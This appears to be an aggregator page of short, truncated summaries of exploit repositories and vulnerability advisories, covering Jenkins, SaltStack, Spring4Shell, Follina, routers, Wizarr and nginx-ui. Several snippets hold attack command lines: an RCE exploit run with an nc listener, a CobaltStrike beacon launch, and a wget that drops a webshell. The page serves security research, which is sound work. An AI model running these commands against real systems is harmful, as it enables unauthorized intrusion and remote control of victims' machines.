CVE-2019-10392

CVE-2019-10392 Git Client 플러그인 2.8.2를 사용한 RCE 인증됨 0x01 docker 시작 docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:lts-alpine 0x02 취약점 환경 Jenkins 2.176.3 Git Client Plugin 2.8.2 https://updates.jenkins-ci.org/download/plugins/git-client/ Git Plugin 3.12.0 참고 링크...

cve-2020-11651

CVE-2020-11651 이것은 CVE-2020-11651에 대한 POC로, salt stack master 및/또는 모든 관련 minion에서 사전 인증 RCE를 획득합니다. 이슈에 대한 간단한 세부 정보는 여기에서 확인할 수 있습니다. 2020-11652에 대한 POC는 포함되지 않았습니다. 이는 salt.cmd의 runner를 cmd.execcode 함수로 생성하여 master에서 명령 실행을 획득합니다. 상호작용 기능은 구현되어 있지 않으므로, 리버스 셸을 받아야 합니다. 사용법 Debian10 인스턴스에서...

Contao: Cross-site scripting in the comments bundle

An unauthenticated front end visitor can post a comment containing a XSS injection. The victim is any back end user who opens the Comments module, and moderation makes exposure certain rather than preventing it. No Content-Security-Policy header is sent on the Contao back end, so nothing mitigate...

AVideo3xploit

AVideo3xploit.go AVideo용 RCE 익스플로잇 root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password nc에서 연결을 받을 수 있습니다 Write-up...

CVE-2024-48705

개요 최근 Wavlink AC1200모델: WL-WN532A3에 대한 보안 연구 중 "/cgi-bin/adm.cgi" 엔드포인트에서 인증 후 명령 주입Post-Authentication Command Injection 취약점이 식별되었습니다. 이 취약점으로 인해 라우터의 자격 증명을 손상시킨 악의적인 공격자가 임의의 셸 명령을 실행할 수 있습니다. 현재 이 취약점에 대한 CVE 번호 할당이 대기 중입니다. 펌웨어 추출 Wavlink AC1200 라우터를 수령한 후, 로드된 펌웨어는 'M32A3V1410230602'로...

Spring4shell-CVE-2022-22965-POC

Spring4shell RCE 취약점 이 취약점은 Spring Core에 영향을 미치며, 공격자가 특수하게 조작된 HTTP 요청을 보내 라이브러리의 HTTP 요청 파서 보호 기능을 우회하여 원격 코드 실행을 유발할 수 있습니다. 자세한 정보는 여기를 참조하세요. 이 취약점을 악용하려면 여러 조건이 충족되어야 합니다. JDK 9 이상을 사용해야 합니다. 서블릿 컨테이너로 Apache Tomcat을 사용해야 합니다. 기존 WAR로 패키징되어야 합니다Spring Boot 실행 가능 jar와 달리. spring-webmvc 또는...

EUVD-2026-95995

Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby, and other media servers. Prior to 2026.9.1, wizard step Markdown supplied through the editor or imported bundles was evaluated by app/blueprints/wizard/routes.py in the application's non-sandboxed Jinja2...

CVE-2026-108264 Wizarr: Authenticated Server-Side Template Injection (SSTI) in wizard step rendering leads to Remote Code Execution (RCE)

Wizarr is an advanced user invitation and management system for Jellyfin, Plex, Emby, and other media servers. Prior to 2026.9.1, wizard step Markdown supplied through the editor or imported bundles was evaluated by app/blueprints/wizard/routes.py in the application's non-sandboxed Jinja2...

GL.iNet-Multiple-Vulnerabilities

GL.iNet 다중 취약점 이 저장소는 다음 취약점들에 대한 익스플로잇을 포함합니다: CVE-2023-46454: GL.iNET GL-AR300M 라우터펌웨어 v4.3.7에서 패키지 정보 기능의 조작된 패키지 이름을 통해 임의의 셸 명령어를 주입할 수 있습니다. CVE-2023-46455: GL.iNET GL-AR300M 라우터펌웨어 v4.3.7에서 OpenVPN 클라이언트 파일 업로드 기능의 경로 순회 공격을 통해 임의의 파일을 작성할 수 있습니다. CVE-2023-46456: GL.iNET GL-AR300M 라우터펌웨어...

CVE-2020-0787

CVE-2020-0787（명명된 파이프） 데모일 뿐입니다. 실제로 사용하지 마세요. -명령 실행 결과 가져오기cmd /c 사용： exp.exe "cmd /c whoami \\.\pipe\showme " show -beacon.exe 실행： exp.exe "C:/beacon.exe" CobaltStrike용 현재 프로젝트보다 더 나은 버전입니다: https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787CNA 참고 출처:...

EUVD-2026-95992

Astron Agent is an agentic workflow platform for building and running AI agents. Prior to 1.1.2, the default workflow code-node path through /console-api/workflow/code/run and /workflow/v1/run selects LocalExecutor in core/workflow/engine/nodes/code/codenode.py when CODEEXECTYPE is not explicitly...

BurpCrypto

BurpCrypto Burpcrypto — это набор плагинов шифрования для BurpSuite, поддерживающих AES/RSA/DES/ExecJs выполнение JS-кода шифрования в BurpSuite. Английский | 简体中文 Сборка $ mvn package Использование Загрузите предварительно скомпилированный JAR-пакет из Releases. Добавьте этот JAR-пакет в...

pax

pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...

CVE-2022-30190

CVE-2022-30190 Follina 개념 증명 개요 이 프로젝트는 "Follina"라고도 알려진 CVE-2022-30190에 대한 개념 증명 익스플로잇 을 시연합니다. 이는 MSDT 프로토콜을 통해 Microsoft Office에 영향을 미치는 치명적인 원격 코드 실행 취약점입니다. 이 애플리케이션은 교육 및 연구 목적으로만 익스플로잇 워크플로를 설명하기 위해 악성 Office 문서를 생성합니다. ⚠ 경고: 이 저장소는 교육 및 승인된 보안 연구용으로만 사용됩니다. 프로덕션 환경이나 소유하지 않았거나 명시적 테스트 허가를...

CVE-2023-2255

CVE-2023-2255 CVE-2023-2255 원격 코드 실행 및 외부 리소스 로드, 발견자: @Icare1337 https://nvd.nist.gov/vuln/detail/CVE-2023-2255 익스플로잇 현재 디렉토리에 웹쉘을 떨어뜨리는 예제입니다. python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'...

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

Summary An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test. This was validated on nginx-ui 2.3.11 2523 6c86e5a5 in the local...

CVE-2014-6271-IPFire

CVE-2014-6271 CVE-2014-6271의 Python 구현: IP Fire =2.15 ShellShock RCE 동일한 익스플로잇에 대한 Metasploit 모듈 기반 EDB ID: 34839 익스플로잇은 자동입니다. 전체 스위치 목록은 ./CVE-2014-6271.py --help를 참조하세요 경고: 이 저장소의 코드는 학술/윤리적 목적으로만 사용될 수 있습니다. 저자는 이 익스플로잇을 다른 목적으로 사용하는 것을 용납하지 않습니다 -- 이 코드는 귀하가 소유하거나 테스트 권한을 부여받은 시스템에 대해서만 사용할 ...

exploit-CVE-2021-22204

CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하세요. 익스플로잇 작성자 @UNICORDev 작성 @NicPWNs 및 @Dev-Yeoj 취약점 설명 ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터가 적절히 무력화되지 않아 악성 이미지를 구문 분석할 때 임의 코드 실행이 가능합니다. 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행을 위해 사용할 수 있는...

turing-machine

보편 튜링 기계에서의 임의 코드 실행 이는 1967년 Minsky의 저서 Computation: Finite and infinite machines 7장에 제시된 보편 튜링 기계의 구현입니다. 시뮬레이션된 기계의 기본 입력은 임의 코드 실행을 달성하는 익스플로잇입니다. 프로그램을 다음 명령으로 실행합니다 $ python3.7 minskysturingmachine.py State 19 reading S writing B shifting left resulting in:...

pylibemu

Pylibemu |version badge| |downloads badge| .. |version badge| image:: https://img.shields.io/pypi/v/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ .. |downloads badge| image:: https://img.shields.io/pypi/dm/pylibemu.svg :target: https://pypi.python.org/pypi/pylibemu/ Pylibemu is a...